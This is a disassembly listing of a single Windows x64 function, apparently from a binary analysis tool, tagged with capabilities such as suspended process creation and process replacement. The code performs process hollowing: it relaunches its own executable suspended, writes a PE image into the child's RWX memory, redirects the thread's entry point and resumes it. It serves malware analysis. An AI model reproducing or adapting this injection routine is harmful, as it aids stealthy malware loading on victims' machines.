Function at 0x140052840
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push rbx
push rsi
push rdi
push r13
sub rsp, 0x4f8
mov rax, qword [0x14057b2a8]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
movsxd rbx, dword [rcx + 0x3c]
xorps xmm0, xmm0
xor eax, eax
add rbx, rcx
xorps xmm1, xmm1
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x50], xmm1
mov qword [rsp + 0xd0], rax
mov rdi, rcx
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
cmp dword [rbx], 0x4550
jne 0x140052a85
mov r8d, 0x104
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor r13d, r13d
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r13
xor edx, edx
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140052a80
lea edx, [r13 + 8]
xor ecx, ecx
lea r9d, [r13 + 4]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
mov rsi, rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140052a80
mov r8d, dword [rbx + 0x50]
mov r9d, 0x3000
mov rdx, qword [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
mov qword [rsp + 0x530], r12
mov qword [rsp + 0x538], r14
mov qword [rsp + 0x4f0], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbx + 0x54]
mov r8, rdi
mov rcx, qword [rsp + 0x50]
mov rdx, rax
mov r15, rax
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r14d, r13d
cmp r13w, word [rbx + 6]
jae 0x140052a31
mov qword [rsp + 0x528], rbp
mov ebp, r13d
nop
movsxd rax, dword [rdi + 0x3c]
mov rcx, qword [rsp + 0x50]
add rax, rbp
mov qword [rsp + 0x20], r13
mov r8d, dword [rax + rdi + 0x11c]
mov edx, dword [rax + rdi + 0x114]
add r8, rdi
mov r9d, dword [rax + rdi + 0x118]
add rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rdx, qword [rsi + 0x88]
lea r8, [rbx + 0x30]
mov rcx, qword [rsp + 0x50]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [rbx + 6]
inc r14
add rbp, 0x28
cmp r14, rax
jb 0x1400529c0
mov rbp, qword [rsp + 0x528]
mov eax, dword [rbx + 0x28]
mov rdx, rsi
add rax, r15
mov qword [rsi + 0x80], rax
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r15, qword [rsp + 0x4f0]
xor eax, eax
mov r14, qword [rsp + 0x538]
mov r12, qword [rsp + 0x530]
jmp 0x140052a9a
movups xmm1, xmmword [rsp + 0x50]
movsd xmm0, qword [rsp + 0x60]
movsd qword [0x14057bd40], xmm0
movups xmmword [0x14057bd30], xmm1
mov rcx, qword [rsp + 0x4e0]
xor rcx, rsp
call fcn.1400b72f0
add rsp, 0x4f8
pop r13
pop rdi
pop rsi
pop rbx
ret